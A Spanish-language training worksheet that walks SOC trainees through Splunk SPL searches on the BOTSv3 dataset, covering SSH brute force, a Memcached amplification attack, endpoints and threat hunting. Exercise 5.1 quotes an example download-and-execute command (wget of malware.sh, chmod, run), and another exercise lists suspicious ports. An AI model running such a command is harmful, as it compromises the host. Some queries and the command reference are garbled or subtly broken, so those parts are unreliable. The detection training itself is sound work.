Practicas SPL Guiadas con BOTSv3

Contexto: Aprendiz de SOC

Eres un analista SOC en formacion en el “Banco Nacional”. Acabas de terminar el curso basico de Splunk y ahora toca practicar con datos reales. Tu mentor te ha preparado una serie de ejercicios progresivos para que domines SPL por ti mismo.

Cada ejercicio tiene un objetivo claro, una busqueda SPL, una explicacion de que ves y una pregunta para que respondas antes de avanzar.

Dataset: BOTSv3 | Indice: index=botsv3 | Periodo: Agosto 2018


NIVEL 1: Reconocimiento del Entorno

Antes de buscar amenazas, tienes que saber que datos tienes.


Ejercicio 1.1: ?Cuantos sourcetypes hay?

Objetivo: Saber la cantidad total de tipos de log diferentes en tu SIEM.

index=botsv3 | stats dc(sourcetype) as total_sourcetypes

Que ves: Un unico numero: la cantidad de sourcetypes distintos.

En tu banco: Si un sourcetype nuevo aparece de repente, alguien conecto un equipo no autorizado.

Pregunta: ?Cuantos sourcetypes diferentes hay en BOTSv3?


Ejercicio 1.2: Cuales son esos sourcetypes?

Objetivo: Ver la lista completa de sourcetypes disponibles.

index=botsv3 | stats values(sourcetype) as sourcetypes

Que ves: Lista completa de sourcetypes, ordenados alfabeticamente.

En tu banco: Necesitas saber si tienes logs de firewall, de antivirus, de servidores…

Pregunta: ?Cuales son los 5 sourcetypes mas importantes para seguridad? (pista: firewall, autenticacion, cloud, antivirus, DNS)


Ejercicio 1.3: Que hosts reportan?

Objetivo: Saber cuantos equipos diferentes estan enviando logs.

index=botsv3 | stats dc(host) as total_hosts

Que ves: Numero de hosts unicos.

Variante - ver la lista:

index=botsv3 | stats values(host) as hosts

Pregunta: ?Sabes diferenciar los hosts de AWS (amazonaws.com) de los hosts locales?


Ejercicio 1.4: Volumen por sourcetype (top 10)

Objetivo: Entender que tipo de log predomina en tu red.

index=botsv3 | top limit=10 sourcetype

Que ves: Los 10 sourcetypes con mas eventos, ordenados de mayor a menor con su porcentaje.

En tu banco: Saber que tu firewall genera el 30% de los logs o que syslog es dominante te ayuda a dimensionar tu SIEM.

Pregunta: ?Que sourcetype es el mas abundante? ?Era el que esperabas?


Ejercicio 1.5: Tabla sourcetype + host

Objetivo: Asociar cada tipo de log con el host que lo genera.

index=botsv3 | stats count by sourcetype, host | sort - count

Que ves: Cada combinacion sourcetype-host con su cuenta de eventos.

En tu banco: Saber que el firewall Cisco ASA solo reporta desde un host especifico te ayuda a identificar si alguien lo desconecta.

Pregunta: ?Hay sourcetypes que aparecen en multiples hosts? ?Cuales?


NIVEL 2: Autenticacion y Accesos

Los logs de autenticacion son lo primero que revisa un SOC.


Ejercicio 2.1: Buscar sourcetypes de autenticacion

Objetivo: Encontrar los logs de login (Windows y Linux).

index=botsv3 | top sourcetype | search sourcetype=*secure* OR sourcetype=*win* OR sourcetype=*login*

Que ves: Sourcetypes relacionados con autenticacion.

En tu banco: Los logs de linux_secure contienen SSH, los de wineventlog contienen EventLog de Windows.

Pregunta: ?Que sourcetype encontraste para autenticacion Linux? ?Y para Windows?


Ejercicio 2.2: Intentos de SSH fallidos

Objetivo: Detectar ataques de fuerza bruta contra servidores Linux.

index=botsv3 sourcetype=linux_secure "Failed password" | stats count by src_ip, host | sort - count

Que ves: IPs atacando por SSH a servidores Linux, con numero de intentos fallidos.

En tu banco: Una IP con 100+ intentos fallidos es un ataque de fuerza bruta en curso.

Pregunta: ?Cuantas IPs diferentes intentaron hacer SSH bruteforce? ?Cual fue la mas insistente?


Ejercicio 2.3: Usuarios atacados por SSH

Objetivo: Saber a que usuarios intentan acceder los atacantes.

index=botsv3 sourcetype=linux_secure "Failed password" | stats count by user, src_ip | sort - count

Que ves: Lista de usuarios目标 y las IPs que intentaron acceder.

En tu banco: Si un atacante prueba con “root”, “admin”, “administrator” -> ataque automatizado.

Pregunta: ?Que usuarios aparecen como objetivo? ?Hay alguna cuenta de administrador en la lista?


Ejercicio 2.4: Logins SSH exitosos

Objetivo: Ver quien consiguio acceso por SSH.

index=botsv3 sourcetype=linux_secure "Accepted password" | stats count by user, src_ip, host

Que ves: Conexiones SSH exitosas: quien, desde donde, a que servidor.

En tu banco: Una IP externa que logra acceso exitoso despues de muchos fallidos = atacante dentro.

Pregunta: ?Hay alguna IP que aparezca tanto en fallidos como en exitosos?


Ejercicio 2.5: Conexiones fuera de horario

Objetivo: Detectar actividad inusual en horario no laboral.

index=botsv3 sourcetype=linux_secure "Accepted password" | eval hour=strftime(_time, "%H") | where hour < 7 OR hour > 19 | stats count by user, src_ip, hour

Que ves: Conexiones SSH exitosas entre las 19:00 y las 07:00.

En tu banco: Un administrador conectandose a las 3am desde una IP extrana = posible intruso.

Pregunta: ?Hay alguna conexion fuera de horario que parezca sospechosa?


NIVEL 3: Trafico de Red

Ahora toca mirar el trafico de red. Aqui es donde los atacantes dejan mas huellas.


Ejercicio 3.1: Trafico DNS - consultas mas frecuentes

Objetivo: Ver que dominios se estan consultando en tu red.

index=botsv3 sourcetype=stream:dns | top limit=20 query

Que ves: Los 20 dominios mas consultados desde tu red interna.

En tu banco: Dominios de servicios cloud (aws, azure) son normales. Dominios con nombres extranos o de reciente creacion son sospechosos.

Pregunta: ?Hay algun dominio en el top 20 que no parezca legitimo?


Ejercicio 3.2: Trafico a puertos inusuales

Objetivo: Detectar servicios no autorizados corriendo en la red.

index=botsv3 sourcetype=stream:tcp | top limit=20 dest_port

Que ves: Los puertos TCP mas usados en tu red.

Puertos normales: 80 (HTTP), 443 (HTTPS), 22 (SSH), 53 (DNS), 25 (SMTP) Puertos sospechosos: 4444, 5555, 6666, 1337, 31337, 12345

En tu banco: Puerto 4444 = Metasploit default. Puerto 11211 (Memcached) = posible amplificacion DDoS.

Pregunta: ?Ves algun puerto en el top 20 que sea inusual?


Ejercicio 3.3: Investigar el puerto 11211 (Memcached)

Objetivo: Analizar el trafico a un puerto sospechoso en detalle.

index=botsv3 dest_port=11211 | stats count by src_ip, dest_ip | sort - count

Que ves: IPs origen y destino involucradas en trafico a puerto Memcached.

index=botsv3 dest_port=11211 | stats sum(bytes) as total_bytes, sum(bytes_out) as bytes_out by src_ip | sort - total_bytes | eval ratio=round(bytes_out/bytes_in, 2)

Que ves: El volumen de datos y el ratio de amplificacion. Si ytes_out es miles de veces mayor que ytes_in, es un ataque de amplificacion.

En tu banco: El ataque Memcached usa el puerto 11211 para amplificar trafico 10.000x - 50.000x.

Pregunta: ?Cual es el ratio de amplificacion mas alto que ves?


Ejercicio 3.4: Timeline del ataque Memcached

Objetivo: Ver cuando ocurrio exactamente el ataque.

index=botsv3 dest_port=11211 | timechart span=5m count

Que ves: Grafica de actividad contra puerto 11211 en intervalos de 5 minutos.

Cambia a pestaña “Estadisticas” para ver los numeros exactos.

Pregunta: ?En que fecha y hora exacta empezo el ataque? ?Cuantos minutos duro?


Ejercicio 3.5: Firewall - trafico bloqueado

Objetivo: Ver que intentos de conexion estan siendo bloqueados por el firewall.

index=botsv3 sourcetype=cisco:asa | top limit=20 src_ip

Que ves: Las IPs que mas trafico generan hacia el firewall.

index=botsv3 sourcetype=cisco:asa | stats count by src_ip, dest_ip | sort - count | head 20

Que ves: IPs externas conectando a IPs internas a traves del firewall.

En tu banco: El firewall Cisco ASA protege el perímetro de la red.

Pregunta: ?Cuantos eventos de Cisco ASA hay en total? (Pista: lo vimos en A2)


NIVEL 4: Endpoints (Windows y Linux)

El atacante ya esta dentro. Ahora toca ver que hace en los equipos.


Ejercicio 4.1: Procesos mas comunes en Windows

Objetivo: Entender que procesos son normales en los endpoints Windows.

index=botsv3 sourcetype=PerfmonMk:Process | top limit=15 process_name

Que ves: Los procesos que mas recursos consumen en los servidores Windows.

En tu banco: Procesos como svchost.exe, explorer.exe, firefox.exe son normales. Powershell.exe o cmd.exe desde cuentas de usuario no.

Pregunta: ?Que procesos de administracion ves en el top 15?


Ejercicio 4.2: Monitoreo de hosts Windows

Objetivo: Ver que equipos Windows estan reportando y su estado.

index=botsv3 sourcetype=WinHostMon | stats count by host

Que ves: Hosts Windows y cuantos eventos de monitoreo generan cada uno.

En tu banco: Si un host deja de reportar, puede estar apagado… o comprometido.

Pregunta: ?Cuantos hosts Windows diferentes hay en el dataset?


Ejercicio 4.3: Comandos ejecutados (osquery)

Objetivo: Ver que comandos se ejecutaron en los endpoints Linux vía osquery.

index=botsv3 sourcetype=osquery:results | stats count by host, name | sort - count | head 20

Que ves: Consultas osquery ejecutadas en cada host y cuantas veces.

En tu banco: osquery es una herramienta de monitoreo de endpoints. Consultas como “processes”, “listening_ports”, “crontab” son normales.

Pregunta: ?Que tipo de consultas osquery se ejecutaron?


Ejercicio 4.4: Paquetes instalados en Linux

Objetivo: Ver que software tienen instalado los servidores Linux.

index=botsv3 sourcetype=dpkg | top limit=20 name

Que ves: Paquetes Debian instalados en los servidores Linux.

En tu banco: Saber que versiones de software tienen tus servidores te ayuda a detectar vulnerabilidades.

Pregunta: ?Hay algun paquete con version antigua que pudiera ser vulnerable?


NIVEL 5: Threat Hunting (Caza Activa)

Ya sabes moverte por los datos. Ahora a buscar amenazas de verdad.


Ejercicio 5.1: Buscar descargas con PowerShell

Objetivo: Encontrar evidencia de descarga de malware.

index=botsv3 sourcetype=bash_history "wget" OR "curl"

Que ves: Comandos wget/curl ejecutados en servidores Linux.

index=botsv3 sourcetype=bash_history "chmod +x" OR "./"

Que ves: Archivos descargados y ejecutados.

En tu banco: wget http://ip-sospechosa/malware.sh && chmod +x && ./malware.sh = compromiso.

Pregunta: ?Hay alguna IP externa a la que se hayan conectado para descargar archivos?


Ejercicio 5.2: Movimiento lateral

Objetivo: Detectar un atacante moviendose entre servidores.

index=botsv3 sourcetype=linux_secure "Accepted publickey" | stats count by user, src_ip, host

Que ves: Conexiones SSH por clave publica entre servidores.

En tu banco: Si el mismo usuario se conecta a 5 servidores diferentes en pocos minutos, alguien esta moviendose lateralmente.

Pregunta: ?Hay algun usuario que se conecte a multiples servidores?


Ejercicio 5.3: Cambios en archivos de configuracion

Objetivo: Buscar persistencia (backdoors).

index=botsv3 sourcetype=bash_history "crontab" OR "/etc/" OR "systemctl"

Que ves: Comandos que modifican configuracion del sistema.

En tu banco: Anadir un cronjob o modificar /etc/shadow son tecnicas de persistencia tipicas.

Pregunta: ?Se anyadio algun cronjob o se modifico algun archivo de configuracion critico?


Ejercicio 5.4: Puertos en escucha

Objetivo: Ver que servicios estan expuestos en los servidores.

index=botsv3 sourcetype=osquery:results name=processes | stats count by host, name

Que ves: Procesos activos detectados por osquery.

Pregunta: ?Hay algun proceso anormal (puerto inusual, nombre extrano)?


Ejercicio 5.5: Resumen por hora de toda la red

Objetivo: Visualizar la actividad global y detectar anomalias.

index=botsv3 | timechart span=1h count

Que ves: Grafica global de eventos por hora durante todo el periodo.

En tu banco: Picos repentinos = algo esta pasando (ataque, scan, exfiltracion).

Pregunta: ?En que hora exacta hay un pico de actividad? ?A que sourcetype corresponde ese pico? (Pista: anade y sourcetype al timechart)


EJERCICIOS COMPLETOS (Mini-Challenges)

Mini-Challenge 1: SSH Brute Force

Encuentra la IP que hizo mas intentos de SSH fallidos y determina:

  • ?Cuantos intentos hizo?
  • ?A que usuarios intento acceder?
  • ?Logro acceder exitosamente?
index=botsv3 sourcetype=linux_secure "Failed password" | stats count by src_ip | sort - count | head 5

Mini-Challenge 2: El ataque Memcached

Responde:

  1. ?Que IP atacante aparece?
  2. ?Que IP victima?
  3. ?Cuantos datos se exfiltraron en total?
  4. ?Cual fue el ratio de amplificacion maximo?
index=botsv3 dest_port=11211 | stats sum(bytes_in) as total_in, sum(bytes_out) as total_out | eval ratio=round(total_out/total_in, 0)

Mini-Challenge 3: Reconstruccion de incidente

Elige un host sospechoso (por ejemplo, el que recibe el trafico Memcached: 172.16.0.178) y responde:

  • ?Que sourcetypes aparecen para ese host?
  • ?En que horas tuvo actividad?
  • ?Que IPs externas se conectaron a el?
index=botsv3 dest_ip="172.16.0.178" | stats count by sourcetype, src_ip | sort - count

Mini-Challenge 4: Reporte de hallazgos

Escribe un mini-reporte (3-4 parrafos) respondiendo:

  1. ?Que encontro el SOC?
  2. ?Cual fue el vector de ataque?
  3. ?Que servidores estuvieron involucrados?
  4. ?Que recomendaciones darias?

REFERENCIA RAPIDA DE COMANDOS SPL

ComandoQue haceEjemplo
stats countCuenta eventosstats count by src_ip
stats dc()Cuenta valores unicosstats dc(host)
stats values()Lista valores unicosstats values(sourcetype)
stats sum()Suma valores numericosstats sum(bytes)
opTop N ordenadoop limit=10 sourcetype
imechartGrafico temporalimechart span=1h count
evalCrea campo calculadoeval ratio=out/in
whereFiltro condicionalwhere count > 10
searchFiltro de textosearch “Failed password”
ableTabla personalizadaable _time, src_ip, dest_ip
sortOrdenarsort - count
enameRenombrar campo
ename count as total

Documento creado el 06/06/2026 - Practicas SPL progresivas con BOTSv3